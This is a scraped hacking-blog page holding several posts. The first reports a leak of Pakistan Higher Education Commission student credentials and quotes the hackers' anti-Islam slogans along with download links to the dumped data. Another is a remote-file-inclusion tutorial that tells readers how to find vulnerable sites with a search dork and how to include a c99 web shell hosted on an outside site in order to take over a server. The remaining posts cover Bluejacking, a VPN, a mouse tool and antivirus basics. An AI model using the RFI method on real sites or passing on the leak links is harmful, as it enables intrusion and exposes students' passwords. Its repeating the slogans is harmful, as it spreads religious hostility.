Hacking.BaBa

OpIslam: Israeli Hackers Hack HEC(Higher Education Commission) of Pakistan Website

<div dir="ltr" style="text-align: left;" trbidi="on"><div>Website of Higher Education Commission of Pakistan was hacked by the Israeli Hackers and Thousands of email addresses, user names and clear text passwords for students with 21667 was published online.</div><div><br /></div><div>The leaked data from the Pakistan Higher Education Commission has been posted to <a href="http://pastebin.com/QF5RyJiV" target="_blank">pastebin</a> with a index of links which link to two further files, 1 clear text and 1 rich text file on two different file hosts.<br /><br />1 year ago Pakistani Hackers attack Israeli Cyber space and that attack was lead by <a href="http://thehackersmedia.blogspot.com/2012/11/israel-worst-internet-day-19-nov-2012.html" target="_blank">1337, who Hack Israeli top domains</a> and other <a href="http://thehackersmedia.blogspot.com/2012/11/570-israeli-sites-hacked-defaced-by.html" target="_blank">attack lead by Hitcher</a>. This show's that these kind of attack on Pakistani Cyber space may resultant very messy for Israeli cyber space.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA5a4M0xekcl4PnV3OhRomxSOMRUWf84jp7hqLWTj5wrjr-d5kQDvAaHItaFLfN8fG6sbna4TWQY_1TSOe5W6AGQ24h-dLPDO_nmji6GzpCWvGSFh9QdxfhaC63RpCaRzOj1ChP7x85QAo/s1600/THM.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA5a4M0xekcl4PnV3OhRomxSOMRUWf84jp7hqLWTj5wrjr-d5kQDvAaHItaFLfN8fG6sbna4TWQY_1TSOe5W6AGQ24h-dLPDO_nmji6GzpCWvGSFh9QdxfhaC63RpCaRzOj1ChP7x85QAo/s640/THM.jpg" width="640" /></a></div><div><br /></div><div style="text-align: center;">"<span style="color: red;">We anti islam</span></div><div style="text-align: center;"><span style="color: red;">We Love israel <3</span></div><div style="text-align: center;"><span style="color: red;">We Do Not Forgive</span></div><div style="text-align: center;"><span style="color: red;">We DO Not Forget</span></div><div style="text-align: center;"><span style="color: red;">Expext Us</span></div><div style="text-align: center;"><span style="color: red;">Stop islam</span></div><div style="text-align: center;"><span style="color: red;">israel is Terrorist</span></div><div style="text-align: center;"><span style="color: red;"><br /></span></div><div style="text-align: center;"><span style="color: red;">We site http://stz-hacker.noads.biz/</span></div><div style="text-align: center;"><span style="color: red;"><br /></span></div><div style="text-align: center;"><span style="color: red;">https://www.facebook.com/TheHackersStzNews</span></div><div style="text-align: center;"><span style="color: red;"><br /></span></div><div style="text-align: center;"><span style="color: red;">Leaked by Hackers sTz</span></div><div style="text-align: center;"><span style="color: red;">48000 users hec.gov.pk Hacked</span></div><div style="text-align: center;"><span style="color: red;">text http://www.mediafire.com/?cbb0bip1po8hhi8</span></div><div style="text-align: center;"><span style="color: red;">text http://www.f2h.co.il/y01jphoxfix1</span></div><div style="text-align: center;"><span style="color: red;">text rtf http://www.mediafire.com/?zbv4iz1b5g455a1</span></div><div style="text-align: center;"><span style="color: red;">text rtf http://www.f2h.co.il/8ako95gm9arc</span>"</div><div style="text-align: center;"><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtbbSGxQryGUN9pfpPJFzyNhROBkAPsqINoj7jgTuGNAu8ltsJZxhmm9d86lCL7X0DCRvOFTiQSakL4gncTiih-pKnwH0DDGa2OhylspWsZ3ai0CjIgykaEy0sCnmL3b2rHKihFx9fzQuP/s1600/Pakistan-Higher-Education-Commission-Hacked-Over-20000-Accounts-Leaked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtbbSGxQryGUN9pfpPJFzyNhROBkAPsqINoj7jgTuGNAu8ltsJZxhmm9d86lCL7X0DCRvOFTiQSakL4gncTiih-pKnwH0DDGa2OhylspWsZ3ai0CjIgykaEy0sCnmL3b2rHKihFx9fzQuP/s1600/Pakistan-Higher-Education-Commission-Hacked-Over-20000-Accounts-Leaked.png" /></a></div><br /><div style="text-align: left;">This attacks on major sites of countries rise many question for Pakistani security experts and Pakistani hackers. </div></div><div style="text-align: left;"><br /></div></div>

OpIslam: Israeli Hackers Hack HEC(Higher Education Commission) of Pakistan Website

Website of Higher Education Commission of Pakistan was hacked by the Israeli Hackers and Thousands of email addresses, user names and clear ...

XSS in Google Finance

On July 11 2013, I reported to Google Security a XSS vulnerability I discovered in google.commain domain, which required no user interaction...

Learn about SQL injection based Hacks

Put on your black hats folks, it’s time to learn some genuinely interesting things about SQL injection. Now remember – y’all play nice with ...

Hack a website using remote file inclusion

<div dir="ltr" style="text-align: left;" trbidi="on"><h3 class="post-title entry-title" itemprop="name"></h3><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;">Remote  file inclusion is basically a one of the most common vulnerability  found in web application. This type of vulnerability allows the Hacker  or attacker to add a remote file on the web server. If the attacker  gets successful in performing the attack he/she will gain access to the  web server and hence can execute any command on it.</span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div class="MsoSubtitle" style="background-color: white; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;"><b><span style="color: #e06666;">Searching the Vulnerability</span></b></span><span style="color: #333333; line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;">Remote File inclusion vulnerability is usually occured in those sites which have a navigation similar to the below one</span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="letter-spacing: 0pt; line-height: 21px;"><a href="http://www.targetsite.com/index.php?page=Anything" style="color: #006677; text-decoration: none;"><span style="letter-spacing: 0.75pt;">www.Targetsite.com/index.php?page=Anything</span></a></span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;">To find the vulnerability the hacker will most commonly  use the following Google Dork</span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;">“inurl:index.php?page=”</span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;"><a href="http://www.blogger.com/null" name="more"></a><br /></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;">This will show all the pages which has “</span><span style="line-height: 21px;">index.php?page=</span><span style="line-height: 21px;">”  in their URL, Now to test whether the website is vulnerable to Remote  file Inclusion or not the hacker use the following command</span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;"><a href="http://www.targetsite.com/index.php?page=www" style="color: #006677; text-decoration: none;">www.targetsite.com/index.php?page=www</a>.<a href="http://google.com/" style="color: #006677; text-decoration: none;">google.com</a></span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: 'Courier New', Courier, monospace; line-height: 21px;">So the hacker url will become</span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;"><a href="http://www.targetsite.com/v2/index.php?page=http://www.google.com">http://www.targetsite.com/v2/index.php?page=http://<span style="color: #006677;">www.google.com</span></a></span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;">If  after executing the command the homepage of the google shows up then  then the website is vulnerable to this attack if it does not come up  then you should look for a new target. In my case after executing the  above command in the address bar Google homepage shows up indicating  that the website is vulnerable to this attack</span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;">Now  the hacker would upload the shells to gain access. The most common  shells used are c99 shell or r57 shell. I would use c99 shell. </span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;">The hacker would first upload the shells to a webhosting site such as <a href="http://ripway.com/" style="color: #006677; text-decoration: none;">ripway.com</a>, <a href="http://110mb.com/" style="color: #006677; text-decoration: none;">110mb.com</a> etc.</span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;">Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is</span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;"><a href="http://h1.ripway.com/rahul/c99.txt">http://h1.ripway.com/rahul/c99.txt</a></span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;">Now here is how a hacker would execute the following command to gain access</span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;"><a href="http://www.targetsite.com/v2/index.php?page=http://h1.ripway.com/rahul/c99.txt?">http://www.targetsite.com/v2/index.php?page=http://<span style="color: #006677;">h1.ripway.com/rahul/c99.txt</span>?</a></span><span style="line-height: 21px;"></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="line-height: 21px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div><div class="MsoSubtitle" style="background-color: white; color: #333333; line-height: 22px;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 21px;">Remember  to add “?” at the end of url or else the shell will not execute. Now  the hacker is inside the website and he could do anything with it...</span><span style="line-height: 21px;"></span></span></div></div>

Hack a website using remote file inclusion

Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows the ...

Bluejacking Bluetooth+Hijacking

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">BlueJacking is one of the mostly  harmless activity can happen with any multimedia cell phone. Though it  is an unintended and illegal use of a technical feature, mostly  hard-core geeks do not find sufficient technical challenge in the  activity. For the more serious hacker and crackers looking to explore  the security features of their Handset. BlueTooth hacking tools  (BlueJacking Tools) should be used in a legal and in ethical way.  Remember one thing real people own these devices, and rely on them for  everyday tasks, so please remember to <strong>“Do Not Harm”</strong>.</span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;"><b><span style="text-decoration: underline;">N</span><span style="text-decoration: underline;">ow, What Is Exactly Bluejacking</span> ??</b></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">BlueTooth Hijacking or BlueJacking is a  technique which used to sending unsolicited messages over Bluetooth to  Bluetooth enabled devices such as mobile phones, PDAs or laptops,  computers, sending a vCard which typically contains a message in the  name field to another Bluetooth enabled device via the OBEX protocol.</span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">As I already said, Bluejacking is  usually harmless, however because BlueJacked people generally don’t know  what has happened, they may think that their phone is malfunctioning. A  BlueJacker will <strong> only send a text message</strong>, but in  these days with modern phones it is possible to send sounds, clips and  images as well. Bluejacking has been used in marketing campaigns to  promote advergames and products.</span></div><div style="text-align: justify;"></div><a href="http://www.blogger.com/null" name="more"></a><span style="font-family: Courier New, Courier, monospace;"><br /></span><br /><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">In <strong> nowadays</strong>, With the  increase in the availability of Bluetooth enabled devices (Phone, PDA  etc etc), it is often reported that these devices have become vulnerable  to virus, Trojan, malware attacks and even complete take over of  devices through a trojan horse program although most of these reports  are easily debunked. Bluejacking is also confused with Bluesnarfing  which is the way in which mobile phones are illegally hacked via  Bluetooth.</span></div><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace; text-decoration: underline;"><br /></span></strong></div><div style="text-align: justify;"><strong><span style="text-decoration: underline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">Tools For Bluejacking </span></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">There are many tools that have been  developed for BlueJacking, most of the development happened in the 2008  to 2012, where multiple new bluetooth vulnerabilities were discovered.  There are not any specific or official tool but are there many tools to  assist someone in bluejacking, only a few hidden tools are available for  the more sinister  “<strong>BlueSnarfing” or “BlueBugging”</strong>. Most commonly used bluetooth software are<strong> “Bloover” and “Easyjack” </strong></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">BlueJacking is very useful for hackers on that device which do not require authentication and in these days almost<strong> (99%)</strong> handsets are required authentication before making any connection to another Bluetooth enable handset.</span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace; text-decoration: underline;"><strong><br /></strong></span></div><div style="text-align: justify;"><span style="text-decoration: underline;"><strong><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">Countermeasures</span></strong></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">Well after all if you how we can attack  with BlueJack, we should also know how we can prevent from BlueJack and  what are the countermeasures against BlueJacking. So I am going to give  some Countermeasures:-</span></div><span style="font-family: Courier New, Courier, monospace;"><strong><br /></strong><strong>1.</strong> To Prevent BlueJacking, make sure that your device’s <strong>bluetooth is turn off </strong>in certain <strong>public areas</strong> like shopping centers, movie theaters, coffee houses, bars, university and electronic stores.</span><br /><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace;"><br /></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><strong>2.</strong> Set your Bluetooth device to <strong>invisible or hidden mode </strong> from the main menu. This will prevents the sender from seeing your device.</span></div><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace;"><br /></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><strong>3.</strong> Turning your  Bluetooth invisible remains a good option when you normally don’t  connect with other devices. Enable visibility only when you need to pair  your device with another.</span></div><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace;"><br /></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><strong>4.</strong> Ignore BlueJacking messages by <strong>refusing or deleting </strong>them. Consider BlueJacking the same way you think about spam.</span></div><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace;"><br /></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><strong>5.</strong> Attackers or Hacker  begin BlueJacking by placing a message in the name field of their phone  like, “Special Offer” or “wow!! you won this prize, enter 123 to unlock”  Next, they look for enabled devices in the area and select the one they  want to BlueJack. They usually send these messages via Bluetooth.</span></div></div>

Bluejacking Bluetooth+Hijacking

BlueJacking is one of the mostly harmless activity can happen with any multimedia cell phone. Though it is an unintended and illegal use o...

How to become anonymous on Internet and access any block site

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;"><span style="background-color: white; color: #555555; font-family: Courier New, Courier, monospace; line-height: 20px;">Hotspot  Shield protects your entire web surfing session; securing your  connection at both your home Internet network & Public Internet  networks (both wired and wireless). Hotspot Shield protects your  identity by ensuring that all web transactions (shopping, filling out  forms, downloads) are secured through HTTPS. Hotspot Shield also makes  you private online making your identity invisible to third party  websites and ISP’s. Unless you choose to sign into a certain site, you  will be anonymous for your entire web session with Hotspot Shield. We  love the web because of the freedom that it creates to explore,  organize, and communicate. </span><br /><span style="font-family: Courier New, Courier, monospace;"><a href="http://www.blogger.com/blogger.g?blogID=1716719305161296" name="more" style="background-color: white; color: #555555; line-height: 20px;"></a><span style="background-color: white; color: #555555; line-height: 20px;">Hotspot  Shield enables access to all information online, providing freedom to  access all web content freely and securely. Secure your entire web  session and ensure your privacy online; your passwords, credit card  numbers, and all of your data is secured with Hotspot Shield. Standard  antivirus software protects your computer, but not your web activities.</span></span><br /><span style="background-color: white; color: #555555; font-family: Courier New, Courier, monospace; line-height: 20px;">That's  why Anchor Free is pleased to offer Hotspot Shield. Our application  keeps your Internet connection secure, private, and anonymous.</span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #555555; line-height: 20px;"><br /></span></span><br /><h3 style="background-color: white; line-height: 20px; margin-bottom: 16px;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">100% Security Through a VPN<a href="http://www.blogger.com/null" name="more"></a></span></h3><div><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;"><br /></span></div><span style="background-color: white; color: #555555; font-family: Courier New, Courier, monospace; line-height: 20px;">Hotspot  Shield creates a virtual private network (VPN) between your laptop or  iPhone and our Internet gateway. This impenetrable tunnel prevents  snoopers, hackers, ISP’s, from viewing your web browsing activities,  instant messages, downloads, credit card information or anything else  you send over the network. Hotspot Shield security application is free  to download, employs the latest VPN technology, and is easy to install  and use.</span><br /><span style="font-family: Courier New, Courier, monospace;"><br style="background-color: white; color: #555555; line-height: 20px;" /></span><span style="background-color: white; color: #555555; font-family: Courier New, Courier, monospace; line-height: 20px;">Hotspot Shield runs on:</span><br /><ul style="background-color: white; color: #555555; line-height: 20px; margin: 0px 20px 20px 0px; padding-left: 40px;"><li><span style="font-family: Courier New, Courier, monospace;">Windows 7</span></li><li><span style="font-family: Courier New, Courier, monospace;">Windows XP</span></li><li><span style="font-family: Courier New, Courier, monospace;">Windows 2000</span></li><li><span style="font-family: Courier New, Courier, monospace;">Windows Vista</span></li><li><span style="font-family: Courier New, Courier, monospace;">Mac OS X (10.5 Leopard)</span></li><li><span style="font-family: Courier New, Courier, monospace;">Mac OS X (10.6 Snow Leopard)</span></li><li><span style="font-family: Courier New, Courier, monospace;">Mac OS X (10.7 Lion)</span></li></ul><div><span style="color: #555555;"><span style="font-family: Courier New, Courier, monospace; line-height: 20px;"><br /></span></span></div><div><span style="color: #555555;"><span style="font-family: Courier New, Courier, monospace; line-height: 20px;">You will be able to download this software on given link <a href="http://hotspotshield.com/hotspot-shield-download.php?&type=na" target="_blank"><b>DOWNLOAD NOW</b></a></span></span></div><div><span style="color: #555555;"><span style="font-family: Courier New, Courier, monospace; line-height: 20px;"><br /></span></span></div><div><span style="font-family: Courier New, Courier, monospace;"><b style="line-height: 20px;"><span style="color: #e06666;">NOTE: - This tutorial is only for learning purpose and i </span></b><b style="line-height: 20px;"><span style="color: #e06666;">am not responsible for any type of harm.</span></b></span></div></div></div>

How to become anonymous on Internet and access any block site

Hotspot Shield protects your entire web surfing session; securing your connection at both your home Internet network & Public Internet...

Control Mouse Movement by your Hand or Head Gestures with NPointer

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><br /><div class="separator" style="clear: both; line-height: 20px;"><span style="background-color: white;"><span style="font-family: Courier New, Courier, monospace;">if  you need to work much on the computer (like me) and tend to take small  breaks to sit back and lean on the chair, then you must have felt the  need of some wireless mouse controller then this post is worth reading.  In case you just wish to have some gesture controlled mouse controller,  then also this post is going to interest you.</span></span></div><span style="background-color: white; line-height: 20px;"><span style="font-family: Courier New, Courier, monospace;"><br />There  are lot of tools in the market using which you can control your mouse  without any direct contact. Some of them use the webcam to recognize  your movements and convert the signals into mouse movements. One good  tool that does the same and does well is called the NPointer.</span></span><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIbL7D4OR_9pwkib3u_3l7uA8steUhNxSvYxbNLX768oaie4jowyOZlUMA1UyVziimqya86jeqlS1EfCuPsaLVXKPHbwpVUh7_GGzwkxIG4-PeMbazXpCITpfLl-FgyoouN2e-0cNuov1q/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIbL7D4OR_9pwkib3u_3l7uA8steUhNxSvYxbNLX768oaie4jowyOZlUMA1UyVziimqya86jeqlS1EfCuPsaLVXKPHbwpVUh7_GGzwkxIG4-PeMbazXpCITpfLl-FgyoouN2e-0cNuov1q/s1600/3.jpg" /></a></div><span style="background-color: white;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 20px;">NPointer  is an application for gestural computer control in which hand movements  are recorded by the webcam connected to your PC and then translated  into the mouse movements. The application can also decode the usual  mouse operations like clicks, double-clicks, drags and scrolls. Also,  disabled people can also use the head movements to control the computer.</span><br style="line-height: 20px;" /><br style="line-height: 20px;" /><span style="line-height: 20px;">To  get started you just need to install the tool in your system and then  configure it to recognize your hand/head movements. If you plan to use  your hand for the mouse control, then place them on the table and keep  the webcam straight up. You may wave the hands in air too but table  method is better for error free recognition.</span></span></span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2ymLqmsxphhzfrpAy3eC5WoFiM31mK9i6YoeN7IKXle4h9tghyphenhyphenKv5BM-ymnjwqNJc6foGf37NIC3ragvLHpp1KxPGJsuC0QRmO8j0eC7X3436mnL46EOc1J1ZLpDS_bgnxUG59RXF3NQ5/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2ymLqmsxphhzfrpAy3eC5WoFiM31mK9i6YoeN7IKXle4h9tghyphenhyphenKv5BM-ymnjwqNJc6foGf37NIC3ragvLHpp1KxPGJsuC0QRmO8j0eC7X3436mnL46EOc1J1ZLpDS_bgnxUG59RXF3NQ5/s1600/3.jpg" /></a></div><br /><span style="background-color: white; line-height: 20px;"><span style="font-family: Courier New, Courier, monospace;"> </span></span><span style="background-color: white;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 20px;">You  then need to configure some settings like Motion Speed (how fast the  pointer will move compared to the hand movement), Acceleration (how fast  the pointer accelerates when hand motion speed changes), Menu timeout  (how long the pointer should stay idle before action menu appears) and  Movement cut-off (how fast the hand should move to ignore the movement.  This is used when you wish to remove the hands without disturbing the  pointer position). If you check the Head/Frontal Control box, then you  can use you head in place of hands to control the mouse movements.</span><br style="line-height: 20px;" /><br style="line-height: 20px;" /><span style="line-height: 20px;">You  will now see some controls on the screen which can be used to perform  the same operations as performed otherwise. The tool is free to use and  works well on all versions of Windows. You can read more about it at the  link below.</span></span></span><br /><span style="background-color: white; line-height: 20px;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span><span style="background-color: white; line-height: 20px;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;"><b><a href="http://www.neurotechnology.com/npointer.html" target="_blank">Download NPointer</a></b></span></span></div>

Control Mouse Movement by your Hand or Head Gestures with NPointer

if you need to work much on the computer (like me) and tend to take small breaks to sit back and lean on the chair, then you must have fel...

How Antivirus Software Works

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Due to ever  increasing threat from virus and other malicious programs, almost every  computer today comes with a pre-installed antivirus software on it. In  fact, an antivirus has become one of the most essential software package  for every computer.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Even though  every one of us have an antivirus software installed on our  computers, only a few really bother to understand how it actually works!  Well, if you are one among those few who would really bother to  understand how an antivirus works, then this article is for you.</span></div><div class="separator" style="clear: both; text-align: center;"></div><a href="http://www.blogger.com/null" name="more"></a><br /><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><h2 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">How Antivirus Works:</span></h2><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">An antivirus  software typically uses a variety of strategies in detecting and  removing viruses, worms and other malware programs. The following are  the two most widely employed identification methods:</span></div><h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">1. Signature-based dectection (Dictionary approach)</span></h3><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">This is the  most commonly employed method which involves searching for known  patterns of virus within a given file. Every antivirus software will  have a dictionary of sample malware codes called <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">signatures </em>in  it’s database. Whenever a file is examined, the antivirus refers to the  dictionary of sample codes present within it’s database and compares  the same with the current file. If the piece of code within the file  matches with the one in it’s dictionary then it is flagged and proper  action is taken immediately so as to stop the virus from further  replicating. The antivirus may choose to repair the file, quarantine or  delete it permanently based on it’s potential risk.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">As new  viruses and malwares are created and released every day, this method of  detection cannot defend against new malwares unless their samples are  collected and signatures are released by the antivirus software company.  Some companies may also encourage the users to upload new viruses or  variants so that, the virus can be analyzed and the signature can be  added to the dictionary.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Signature  based detection can be very effective, but requires frequent updates of  the virus signature dictionary. Hence, the users must update their  antivirus software on a regular basis so as to defend against new  threats that are released daily.</span></div><h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; 